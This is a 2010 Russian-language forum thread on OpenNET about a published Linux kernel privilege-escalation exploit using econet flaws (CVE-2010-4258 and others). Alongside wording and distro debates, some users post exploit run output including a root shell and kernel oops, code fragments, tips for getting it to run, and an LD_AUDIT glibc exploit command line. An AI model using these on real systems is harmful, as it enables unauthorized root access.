The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка  RSS
"Представлен новый способ локальной эксплуатации Linux-ядра"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от opennews on 08-Дек-10, 17:04 
Ден Росенберг (Dan Rosenberg), консультант по безопасности компании Virtual Security Research, опубликовал (http://seclists.org/fulldisclosure/2010/Dec/85) в списке рассылки FullDisclosure код эксплоита, позволяющего локально получить привилегии суперпользователя в Linux. Эксплоит примечателен тем, что его работа основана на одновременном использовании трех, с виду незначительных, уязвимостей в Linux-ядре, подчеркивая, что сочетание нескольких факторов, по отдельности приводящих к краху ядра (DoS-уязвимости), могут привести к неожиданным последствиям.

В качестве основы для построения эксплоита используется обнаруженная несколько дней назад уязвимость CVE-2010-4258 (https://www.redhat.com/security/data/cve/CVE-2010-4258.html), позволяющая сохранить значение NULL по любому переданному пользователем указателю внутри адресного пространства ядра. Уязвимости CVE-2010-3849 (https://www.redhat.com/security/data/cve/CVE-2010-3849.html) и CVE-2010-3850 (https://www.redhat.com/security/dat...

URL: http://seclists.org/fulldisclosure/2010/Dec/85
Новость: http://www.opennet.dev/opennews/art.shtml?num=28924

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по времени | RSS]


2. "Представлен новый способ локальной эксплуатации Linux-ядра"  +1 +/
Сообщение от Аноним (??) on 08-Дек-10, 17:04 
слово "эксплоит" относится к "эксплуатации" ?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

4. "Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от Marbleless on 08-Дек-10, 17:09 
>слово "эксплоит" относится к "эксплуатации" ?

Трудно сказать, относится ли оно напрямую в английском языке (поскольку exploit, скорее всего, заимствовано из французского), но уж точно не в русском.

Исправить нужно. "Остановка работы ядра", "эксплуатация уязвимостей" (так пойдет), "взлом", на худой конец. Новый способ эксплуатации ядра Линукс - это, например, читать исходный код в виде рэпа.

Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

6. "Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от Зилибоба (ok) on 08-Дек-10, 17:16 
Эксплойт, эксплоит (англ. exploit, эксплуатировать) — это компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Целью атаки может быть как захват контроля над системой (повышение привилегий), так и нарушение её функционирования (DoS-атака).

Чего тут можно сказать трудно?

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

16. "Представлен новый способ локальной эксплуатации Linux-ядра"  +1 +/
Сообщение от Marbleless on 08-Дек-10, 17:48 
>Эксплойт, эксплоит (англ. exploit, эксплуатировать)

Вот тут должна стоять ссылка на источник. Я серьезно. На тот, в котором выведена связь слова эксплоит в этом значении с английским глаголом "exploit" в значении "эксплуатировать". Версия с французским "exploit" (достижение) кажется более правдоподобной.

На всякий случай: мой предыдущий комментарий относился к той версии новости, в которой был заголовок "новый способ эксплуатации Linux-ядра".

Ответить | Правка | ^ к родителю #6 | Наверх | Cообщить модератору

18. "Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 18:01 
А в шапке HTML старая версия и осталась
Ответить | Правка | ^ к родителю #16 | Наверх | Cообщить модератору

27. "Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от Vkni on 08-Дек-10, 18:30 
> На всякий случай: мой предыдущий комментарий относился к той версии новости, в
> которой был заголовок "новый способ эксплуатации Linux-ядра".

Ну это-то очевидный бред. Эксплуатация уязвимости, а на ядра :-).

Ответить | Правка | ^ к родителю #16 | Наверх | Cообщить модератору

29. "Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от sndev email(ok) on 08-Дек-10, 18:32 
ИМАО, лучше всего звучало бы так :

"Представлен новый способ эксплуатации локальной уязвимости/ошибки Линукс-ядра"

Ответить | Правка | ^ к родителю #27 | Наверх | Cообщить модератору

32. "Представлен новый способ локальной эксплуатации Linux-ядра"  –1 +/
Сообщение от vkni on 08-Дек-10, 19:59 
Ага. Но слишком многословно. Лучше уж эксплойт.
Ответить | Правка | ^ к родителю #29 | Наверх | Cообщить модератору

43. "Представлен новый способ локальной эксплуатации Linux-ядра"  +1 +/
Сообщение от skybon (ok) on 08-Дек-10, 20:31 
Ну уж нет. Неправильное употребление иностранных слов засоряет язык.
Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

63. "Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от tr on 09-Дек-10, 05:01 
Definition of EXPLOIT
: deed, act; especially : a notable or heroic act

Origin of EXPLOIT
Middle English espleit, expleit, exploit furtherance, outcome, from Anglo-French, from Latin explicitum, neuter of explicitus, past participle
First Known Use: circa 1538

Источник: Merriam-Webster

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

46. "Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от Харитон on 08-Дек-10, 21:12 
exploit

I ˈeksplɔɪt
сущ.
  деяние, подвиг
   to perform an exploit — совершать подвиг
   fantastic exploits — фантастические/сказочные похождения
   heroic exploit — геройский поступок
  Syn:
  act, deed, feat
II ɪksˈplɔɪt
гл.
1)
  а) пользоваться, использовать, эксплуатировать
    Syn:
    utilize
  б) перен. играть (на чьих-либо чувствах, слабости и т.д.), пользоваться (чем-л. в своих интересах)
    Sometimes it is necessary to exploit your opponent's weakness. — Иногда просто необходимо воспользоваться слабостью оппонентов.
2) разрабатывать (шахты, копи, месторождения и т.д.)

Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

55. "Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от Aleks Revo email on 08-Дек-10, 22:50 
Вот он и ответ: "сыграть на слабости" - буквальный смысл того, что понимается под эксплойтом.
Ответить | Правка | ^ к родителю #46 | Наверх | Cообщить модератору

88. "Представлен новый способ локальной эксплуатации Linux-ядра"  +/
Сообщение от Wormik (ok) on 09-Дек-10, 21:23 
Exploit - поиметь
Ответить | Правка | ^ к родителю #46 | Наверх | Cообщить модератору

7. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 17:19 
А патчи-то где?)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

9. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok) on 08-Дек-10, 17:22 
$ ./exploit
[*] Failed to open file descriptors.
$ uname -a
Linux deceiver 2.6.35-gentoo-r8 #2 SMP Tue Nov 23 14:15:10 YEKT 2010 x86_64 Intel(R) Core(TM)2 Duo CPU E7500 @ 2.93GHz GenuineIntel GNU/Linux

опять чото не работает.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

25. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Xaionaro (ok) on 08-Дек-10, 18:21 
Заставьте работать:
        pipe(fildes);
        fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
        fildes[3] = open("/dev/zero", O_RDONLY);
econet подгружен?

Вообще, вроде ж Gentoo используйте. Не позорились бы ;)

Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

52. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от bircoph on 08-Дек-10, 22:07 
Привет,

а вот у меня в ядрах и -fstack-protector-all
# CONFIG_ECONET is not set

мне теперь всё пересобирать, чтоб эксплойт запустить? :3

Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

98. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Xaionaro (ok) on 02-Фев-11, 10:50 
> Привет,
> а вот у меня в ядрах и -fstack-protector-all
> # CONFIG_ECONET is not set
> мне теперь всё пересобирать, чтоб эксплойт запустить? :3

Как хочешь. Но обвинять эксплойт в неработоспособности, если небыли предоставлены необходимые для его работы условия (в соответствии с его назначением) - глуповато, IMHO.

Ответить | Правка | ^ к родителю #52 | Наверх | Cообщить модератору

89. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Wormik (ok) on 09-Дек-10, 21:26 
> Заставьте работать:
>         pipe(fildes);
>         fildes[2] = socket(PF_ECONET, SOCK_DGRAM,
> 0);
>         fildes[3] = open("/dev/zero", O_RDONLY);
> econet подгружен?
> Вообще, вроде ж Gentoo используйте. Не позорились бы ;)

Использую Gentoo 5 лет. Ни разу не открывал исходный код в редакторах, как и не накладывал сам патчи.

Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

35. "Представлен новый эксплойт для Linux-ядра"  –4 +/
Сообщение от Аноним (??) on 08-Дек-10, 20:06 
Gentoo просто для поднятия ЧСВ что ли используйте?
Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

74. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok) on 09-Дек-10, 13:33 
+ возможность самому написать сценарии сборки для свежего ПО недожидаясь когда оно появится в репах и оверлеях
+ paludis в качестве пакет.менеджера, очень гибок, другие менеджеры что я использовал меня не впечатлили
+ различные сборки ядер, особенно харденед, есть конечно падение производительности, но по крайне мере можно не ссать кипятком, когда выходят дыры аналогичные дырам в glibc
+ да и как то исторически сложилось так...

p.s. толсто

Ответить | Правка | ^ к родителю #35 | Наверх | Cообщить модератору

76. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от коксюзер on 09-Дек-10, 13:51 
> по крайне мере можно не ссать кипятком, когда выходят дыры аналогичные
> дырам в glibc

Внезапно: hardened был подвержен уязвимости при обработке LD_AUDIT в glibc. И уязвимость эту (вторую) "не могли" закрыть около двух недель.

Ответить | Правка | ^ к родителю #74 | Наверх | Cообщить модератору

81. "Представлен новый эксплойт для Linux-ядра"  –1 +/
Сообщение от daevy (ok) on 09-Дек-10, 16:34 
собранный с use hardened? наверно я что-то пропустил, видел инфу только про обычный glibc-2.11.2, если не затруднит скиньте ссылку пожалуйста
Ответить | Правка | ^ к родителю #76 | Наверх | Cообщить модератору

83. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от коксюзер on 09-Дек-10, 18:19 
Я не видел линков, где что-то конкретное говорится на тему (не)уязвимости glibc[hardened]. Можете поставить glibc в чруте из старых ебилдов и проверить сами: http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/sys-...

Portage не даст продаунгрейдить glibc, смените версию в имени ебилда на *-r4. Уязвимые версии, включительно: с 2.11.2 по 2.11.2-r2 (сам проверял на hardened) и 2.12.1 по 2.12.1-r2 (не проверял). А USE=hardened добавляет только патчи совместимости с hardened-тулчейном. Ничего против таких уязвимостей там нет.

Ответить | Правка | ^ к родителю #81 | Наверх | Cообщить модератору

84. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от taaroa (ok) on 09-Дек-10, 18:37 
https://bugs.gentoo.org/show_bug.cgi?id=341755#c24 <- этого достаточно?
https://bugs.gentoo.org/show_bug.cgi?id=342619 <- отклонили без комментариев.
p.s. у меня на тестовой машине также сработало, правда rbac отключить пришлось. таким образом, use="hardened" не спасает.
Ответить | Правка | ^ к родителю #81 | Наверх | Cообщить модератору

85. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от taaroa (ok) on 09-Дек-10, 19:33 
ах да, запускать примерно так:

umask 0 ; LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/dev/sda" ping

Ответить | Правка | ^ к родителю #81 | Наверх | Cообщить модератору

90. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok) on 10-Дек-10, 08:08 
спасибо за ликбез, буду внимательней))
Ответить | Правка | ^ к родителю #85 | Наверх | Cообщить модератору

91. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok) on 10-Дек-10, 08:53 
решил воспроизвести, и получаю при
$ exec 3< /tmp/exploit/target
bash: /tmp/exploit/target: Permission denied

а раньше получалось... есть идеи? тачка тестовая необновленная точно.
glibc-2.11.2
bash-4.0.37(2)

Ответить | Правка | ^ к родителю #85 | Наверх | Cообщить модератору

77. "Представлен новый эксплойт для Linux-ядра"  –1 +/
Сообщение от PereresusNeVlezaetBuggy email(ok) on 09-Дек-10, 13:54 
> + возможность самому написать сценарии сборки для свежего ПО недожидаясь когда оно
> появится в репах и оверлеях

Любая система портов это позволяет. Просто делаете свой репозиторий, или просто порт, или где как оно называется.

> + paludis в качестве пакет.менеджера, очень гибок, другие менеджеры что я использовал
> меня не впечатлили

Чем гибок? Какие практические проблемы, существующие не только в рамках Gentoo, решает эта гибкость? Я серьёзно.

Ответить | Правка | ^ к родителю #74 | Наверх | Cообщить модератору

79. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok) on 09-Дек-10, 14:55 
>Чем гибок? Какие практические проблемы, существующие не только в рамках Gentoo, решает эта гибкость? Я серьёзно

1. слоты, сравнивая с убунту-менеджером, недавно понадобилось поставить postgresql-9.0.1 по соседству с 8.4, апт же предлагал мне обновить 8.4 до 9.0... может я каких то ключей просто не знаю?? (это есть и в emerge)
2. scm-packages, подержка нетолько бинарных пакетов в репозиториях, примером являются различные проекты на git,svn и т.д. то есть стягивается оттуда и ставится, очень полезно если хочется поездить на альфах и поглядеть новые функции :)
3. расширенная обработка зависимостей... буквально на днях, нужно поставить какойто мелкий пакет на относительно устаревшей системе, так вот по умолчанию пакет предлагал обновить зависмости до gcc-4.4.4 + glibc-2.12. + еще кучу всего, так вот, есть параметр который позволяет забить на зависимости и установить только этот пакет...
4. шустрее чем emerge при подсчете зависимостей

ну это так что первое вспомнилось))) а вобще если есть интерес то вот http://paludis.pioto.org//overview/features.html, если нет интереса и хочется потрындеть, то у меня закончился рабочий день))

Ответить | Правка | ^ к родителю #77 | Наверх | Cообщить модератору

10. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Pentarh email on 08-Дек-10, 17:26 
$ ./expl
[*] Failed to open file descriptors.

2.6.35.9-64.fc14.x86_64

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

11. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 17:27 
a@server:~$ ./a.out
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa050219b
[+] Resolved econet_ops to 0xffffffffa05031c0
[*] Failed to resolve kernel symbols.
a@server:~$ uname -a
Linux server 2.6.26-2-amd64 #1 SMP Thu Nov 25 04:30:55 UTC 2010 x86_64 GNU/Linux
a@server:~$ cat /etc/debian_version
5.0.7
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

13. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Anon on 08-Дек-10, 17:38 
b@server:~$ ./b.out
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa050219b
[+] Resolved econet_ops to 0xffffffffa05031c0
[*] Failed to resolve kernel symbols.
b@server:~$ uname -a
Linux server 2.6.26-2-xen-amd64 #1 SMP Thu Aug 20 00:36:34 UTC 2009 x86_64 GNU/Linux
b@server:~$ cat /etc/debian_version
5.0.6
Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

22. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Xaionaro (ok) on 08-Дек-10, 18:10 
Ну, судя по всему программа не отработала, а ругнулась на вполне конкретную ошибку, требуя соответствующих мероприятий. Например, если заглянуть в код, то рождается гипотеза, что у вас не подгружен econet. :)
Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

12. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 17:29 
и на мандриве (2.6.35.9) тоже не работает...
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

14. "Представлен новый эксплойт для Linux-ядра"  +2 +/
Сообщение от PereresusNeVlezaetBuggy email(ok) on 08-Дек-10, 17:41 
> и на мандриве (2.6.35.9) тоже не работает...

Жаль, что форум фактически анонимный. Так можно было бы составлять чёрные списки «кого не брать на работу за неумение читать текст и править код».

Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

20. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от emg81 on 08-Дек-10, 18:07 
о, мсье, а по-Вашему все пользователи GNU/Linux должны уметь править код?
Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

23. "Представлен новый эксплойт для Linux-ядра"  +6 +/
Сообщение от Xaionaro (ok) on 08-Дек-10, 18:11 
> о, мсье, а по-Вашему все пользователи GNU/Linux должны уметь править код?

Люди, интересующееся exploit-ами, должны, IMHO.

Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

26. "Представлен новый эксплойт для Linux-ядра"  +5 +/
Сообщение от sndev email(ok) on 08-Дек-10, 18:22 
И особенно те, которые пытаются их запускать :) имхо
Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

67. "Представлен новый эксплойт для Linux-ядра"  +1 +/
Сообщение от zazik (ok) on 09-Дек-10, 09:33 
> И особенно те, которые пытаются их запускать :) имхо

Зачем? Если бы все ответственно подходили к тому, что запускают, эксплоиты вымерли бы как класс.

Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

15. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от анонимище on 08-Дек-10, 17:46 
Тем у кого не работает:

>Опубликованный код эксплойта оформлен в виде прототипа, намеренно модифицированного для защиты от необдуманного использования неискушенными обывателями (для его работы в RedHat, Slackware и Debian потребуется модификация, а для Ubuntu ранее было выпущено обновление с исправлением проблем CVE-2010-3849 и CVE-2010-385).

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

17. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Аноним email(??) on 08-Дек-10, 17:49 
levko@levko-lb:~$ ./a.out
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa019707b
[+] Resolved commit_creds to 0xffffffff810624fa
[+] Resolved prepare_kernel_cred to 0xffffffff810623f4
[*] Failed to resolve kernel symbols.
levko@levko-lb:~$ uname -a
Linux levko-lb 2.6.36 #7 SMP Wed Nov 17 19:43:34 EET 2010 x86_64 GNU/Linux
levko@levko-lb:~$ lsb_release -d
Description:    Ubuntu 10.10
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

24. "Представлен новый эксплойт для Linux-ядра"  +1 +/
Сообщение от Xaionaro (ok) on 08-Дек-10, 18:14 
Вы пробывали хотя бы заглянуть в код, в то место, где выводится данная ошибка? Там несколькими строками выше написано какие symbol-ы требуются. И достаточно несложно удовлетворить этим требованиям.
Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

19. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от emg81 on 08-Дек-10, 18:06 
[emg81@emg81pc ~]$ ./a.out
[*] Failed to open file descriptors.
[emg81@emg81pc ~]$ uname -a
Linux emg81pc 2.6.36-ARCH #1 SMP PREEMPT Wed Nov 24 06:44:11 UTC 2010 i686 Intel(R) Pentium(R) 4 CPU 3.20GHz GenuineIntel GNU/Linux
---
:(
опять не работает
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

21. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 18:10 
Текст новости еще раз (если этого не было сделано ранее) перечитайте.

Опубликованный код эксплоита оформлен в виде прототипа, намеренно модифицированного для защиты от необдуманного использования неискушенными обывателями

Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

58. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 23:27 
uname -r
2.6.36-ARCH

zcat /proc/config.gz | grep -i econet
# CONFIG_ECONET is not set

Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

28. "Представлен новый локальный эксплоит для Linux-ядра"  +1 +/
Сообщение от Hugo Reyes on 08-Дек-10, 18:32 
Есть workaround, который можно применить в ожидании новой сборки ядра от мэнтейнера:

echo 1 > /proc/sys/kernel/panic_on_oops

По-крайней мере будет обычный DoS вместо эскалации привилегий.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

54. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от гы on 08-Дек-10, 22:45 
> По-крайней мере будет обычный DoS вместо эскалации привилегий.

а где сказано что через эту уязвимость возможно повышение привелегий????

Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

57. "Представлен новый локальный эксплоит для Linux-ядра"  +1 +/
Сообщение от Ytch on 08-Дек-10, 23:23 
В первом (!) предложении новости!
Ответить | Правка | ^ к родителю #54 | Наверх | Cообщить модератору

30. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 18:39 
>fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);

grep -i econet /boot/config-2.6.32-71.7.1.el6.i686
# CONFIG_ECONET is not set

для работы експлойта под линукс мне надо канпелировать ядро?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

31. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 19:46 
> для работы експлойта под линукс мне надо канпелировать ядро?

Достаточно найти другой баг, приводящий к oops, коих пачками в каждом новом обновлении ядра правят.

Ответить | Правка | ^ к родителю #30 | Наверх | Cообщить модератору

34. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 20:05 
>> для работы експлойта под линукс мне надо канпелировать ядро?
> Достаточно найти другой баг, приводящий к oops, коих пачками в каждом новом
> обновлении ядра правят.

The Linux kernel as shipped with Red Hat Enterprise Linux 4, 5, 6, and Red Hat Enterprise MRG enabled the panic_on_oops sysctl tunable by default, and therefore are not affected by this issue.

и отключать kernel.panic_on_oops = 1

Ответить | Правка | ^ к родителю #31 | Наверх | Cообщить модератору

33. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Горлов on 08-Дек-10, 20:01 
main@main-desktop /tmp $ ./a.out
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf0b052a0
[+] Resolved econet_ops to 0xf0b053a0
[+] Resolved commit_creds to 0xc016c830
[+] Resolved prepare_kernel_cred to 0xc016cc80
[*] Calculating target...
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root) группы=0(root)
#

Linux main-desktop 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:36:48 UTC 2010 i686 GNU/Linux

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

36. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от itsme (??) on 08-Дек-10, 20:10 
>[оверквотинг удален]
>  [+] Resolved commit_creds to 0xc016c830
>  [+] Resolved prepare_kernel_cred to 0xc016cc80
> [*] Calculating target...
> [*] Triggering payload...
> [*] Got root!
> # id
> uid=0(root) gid=0(root) группы=0(root)
> #
> Linux main-desktop 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:36:48 UTC 2010 i686
> GNU/Linux

А что нужно подправить, чтобы эксплойт зарабовал???

Ответить | Правка | ^ к родителю #33 | Наверх | Cообщить модератору

37. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Горлов on 08-Дек-10, 20:12 
Я вообще ничего не правил. Он сходу заработал, сразу после компиляции.
Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

39. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от itsme (??) on 08-Дек-10, 20:14 
> Я вообще ничего не правил. Он сходу заработал, сразу после компиляции.

Уже наверное на 10 машинах проверил, везде:

[*] Failed to open file descriptors.

Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

49. "Представлен новый локальный эксплоит для Linux-ядра"  +1 +/
Сообщение от Xaionaro email(ok) on 08-Дек-10, 21:37 
strace!
Ответить | Правка | ^ к родителю #39 | Наверх | Cообщить модератору

56. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Viliar (ok) on 08-Дек-10, 23:16 
Вы слишком много хотите :-) Страшными словами бросаетесь в бедных людей ;-D
Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

59. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 23:37 
> Вы слишком много хотите :-) Страшными словами бросаетесь в бедных людей ;-D

gcc ./sploit.c

strace ./a.out
...
...
socket(PF_ECONET, SOCK_DGRAM, 0)        = -1 EAFNOSUPPORT (Address family not supported by protocol)
...

Проблема тут: fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
И ошибку получаешь после проверки на открытый дескриптор: if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0)

Ответить | Правка | ^ к родителю #56 | Наверх | Cообщить модератору

60. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 23:39 
> EAFNOSUPPORT (Address family not supported by protocol)

modprobe econet

Ответить | Правка | ^ к родителю #59 | Наверх | Cообщить модератору

64. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от bircoph on 09-Дек-10, 05:41 
> modprobe econet

# modprobe econet
FATAL: Module econet not found.

$ uname -r
2.6.35.9-sheryl

Самосборные ядра без всякого треша спасут отцов русской демократии.

Ответить | Правка | ^ к родителю #60 | Наверх | Cообщить модератору

38. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 20:13 
>[оверквотинг удален]
>>  [+] Resolved prepare_kernel_cred to 0xc016cc80
>> [*] Calculating target...
>> [*] Triggering payload...
>> [*] Got root!
>> # id
>> uid=0(root) gid=0(root) группы=0(root)
>> #
>> Linux main-desktop 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:36:48 UTC 2010 i686
>> GNU/Linux
> А что нужно подправить, чтобы эксплойт зарабовал???

мой юный дrуг, uid=0 говоrит нам о том, что эксплойт заrаботал

Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

40. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от itsme (??) on 08-Дек-10, 20:16 
>[оверквотинг удален]
>>> [*] Calculating target...
>>> [*] Triggering payload...
>>> [*] Got root!
>>> # id
>>> uid=0(root) gid=0(root) группы=0(root)
>>> #
>>> Linux main-desktop 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:36:48 UTC 2010 i686
>>> GNU/Linux
>> А что нужно подправить, чтобы эксплойт зарабовал???
> мой юный дrуг, uid=0 говоrит нам о том, что эксплойт заrаботал

100% с Вами согласен. Но ведь выше написано, что это концепт и что нужно что-то подправить, чтобы он заработал.  У меня не работает. Как я уже писал выше - испытывал на нескольких машинах, с разными версиями ядра.


А где можно такой достать - http://www.youtube.com/watch?v=M4TTAupmV5U ?

Ответить | Правка | ^ к родителю #38 | Наверх | Cообщить модератору

45. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 21:01 
> 100% с Вами согласен. Но ведь выше написано, что это концепт и
> что нужно что-то подправить, чтобы он заработал.  У меня не
> работает. Как я уже писал выше - испытывал на нескольких машинах,
> с разными версиями ядра.

У того у кого эксплойт заработал ядро старое непатченное, сейчас уже 2.6.35-26 на дворе, а у него еще 2.6.35-22.

Ответить | Правка | ^ к родителю #40 | Наверх | Cообщить модератору

70. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Горлов on 09-Дек-10, 10:37 
Обновил ядро, теперь не работает :-( Что в эксплоите нужно поменять, чтоб заработало? :-)

main@main-desktop ~ $ ./a.out
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf0ade340
[+] Resolved econet_ops to 0xf0ade440
[+] Resolved commit_creds to 0xc016c8d0
[+] Resolved prepare_kernel_cred to 0xc016cd20
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Exploit failed to get root

main@main-desktop ~ $ uname -a
Linux main-desktop 2.6.35-23-generic #41-Ubuntu SMP Wed Nov 24 10:18:49 UTC 2010 i686 GNU/Linux

Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

73. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от z (??) on 09-Дек-10, 13:16 
>Что в эксплоите нужно поменять, чтоб заработало?

payload, очевидно же

Ответить | Правка | ^ к родителю #70 | Наверх | Cообщить модератору

41. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Горлов on 08-Дек-10, 20:19 
В консоли посыпалось после этого:
....
[36538.318571] BUG: unable to handle kernel NULL pointer dereference at 00000008
[36538.318582] IP: [<f0b043d5>] econet_sendmsg+0x215/0x530 [econet]
[36538.318593] *pde = 00000000
[36538.318597] Oops: 0000 [#1] SMP
[36538.318601] last sysfs file: /sys/devices/pci0000:00/0000:00:1f.1/host1/target1:0:1/1:0:1:0/block/sdc/uevent
[36538.318607] Modules linked in: econet binfmt_misc sco bnep oss_usb oss_ich osscore rfcomm l2cap ipt_MASQUERADE iptable_nat nf_nat xt_NOTRACK iptable_raw xt_tcpudp nf_conntrack_ipv4 nf_defrag_ipv4 xt_state nf_conntrack iptable_filter ip_tables x_tables dm_crypt nvidia(P) ppdev btusb bluetooth ns558 parport_pc gameport psmouse serio_raw shpchp lp parport dm_raid45 xor 8139too 8139cp intel_agp floppy mii agpgart
[36538.318649]
[36538.318654] Pid: 3160, comm: a.out Tainted: P            2.6.35-22-generic #35-Ubuntu P4i65PE/P4i65PE
[36538.318659] EIP: 0060:[<f0b043d5>] EFLAGS: 00010286 CPU: 0
